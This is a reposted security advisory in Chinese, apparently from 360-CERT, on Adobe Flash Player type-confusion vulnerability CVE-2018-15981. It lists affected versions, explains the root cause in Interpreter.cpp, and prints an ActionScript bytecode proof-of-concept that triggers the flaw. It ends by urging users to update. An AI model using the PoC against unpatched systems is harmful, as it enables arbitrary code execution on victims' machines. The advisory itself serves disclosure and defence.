您好,登錄后才能下訂單哦!
怎么實現Adobe Flash Player 任意代碼執行漏洞CVE-2018-15981的預警,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
昨日深夜,Adobe發布適用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新,修補了一枚類型混淆漏洞(CVE-2018-15981)。該漏洞影響Adobe Flash Player 31.0.0.148及以前版本,成功利用會導致任意代碼執行。360-CERT對漏洞進行分析,認為該漏洞利用難度低且影響范圍廣,危害嚴重。
產品 | 版本 | 平臺 |
---|---|---|
Adobe Flash Player Desktop Runtime | 31.0.0.148 and earlier versions | Windows, macOS and Linux |
Adobe Flash Player for Google Chrome | 31.0.0.148 and earlier versions | Windows, macOS, Linux and Chrome OS |
Adobe Flash Player for Microsoft Edge and Internet Explorer 11 | 31.0.0.148 and earlier versions | Windows 10 and 8.1 |
漏洞出在Interpreter.cpp文件中:Flash 在異常處理時,重置了狀態機的許多變量,并將解釋器的PC設置為目標處理程序的地址。但這個過程被過度優化,沒有重置with-scope變量。使得攻擊者可以構造惡意flash 文件,在對象加載后拋出異常,此時修改對象的成員變量類型,造成類型混淆。
在 Interpreter.cpp 源代碼中,定義了一個 withBase 變量,用作scopeBase數組的指針偏移量
register Atom* const scopeBase = framep + ms->local_count();
register Atom* volatile withBase = NULL;
NONDEBUGGER_ONLY( register ) int volatile scopeDepth = 0;
register ScopeChain* const scope = env->scope();
而該變量,在findproperty指令的處理程序處調用。
INSTR(findproperty) {
b1 = false;
findproperty_impl:
SAVE_EXPC;
GET_MULTINAME_PTR(multiname, U30ARG);
if (multiname->isRuntime())
{
aux_memory->multiname2 = *multiname;
sp = initMultiname(env, aux_memory->multiname2, sp);
multiname = &aux_memory->multiname2;
}
*(++sp) = env->findproperty(scope, scopeBase, scopeDepth, multiname, b1, withBase);
NEXT;
}
因此可以利用findproperty指令,對該漏洞進行利用。利用的PoC如下:
getlocal0
pushscope
getlocal0
findpropstrict QName(PackageNamespace(""), "NewClass2")
constructprop QName(PackageNamespace(""), "NewClass2"), 0
initproperty QName(PackageInternalNs(""), "myvar")
getlocal0
pushwith
L10:
pushbyte 1
throw
L12:
nop
L16:
getlocal0
pushscope
pushint 534568
newobject 1
coerce QName(PackageNamespace(""), "Object")
pushscope
findproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])
getproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])
getslot 1
returnvoid
該漏洞利用難度低且影響范圍廣,危害嚴重。因此360-CERT強烈建議用戶對Adobe Flash Player進行更新。
目前相關補丁已經發布,用戶可以使用軟件內部的“更新”功能,或者訪問 https://www.flash.cn/ 下載最新版本的應用。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。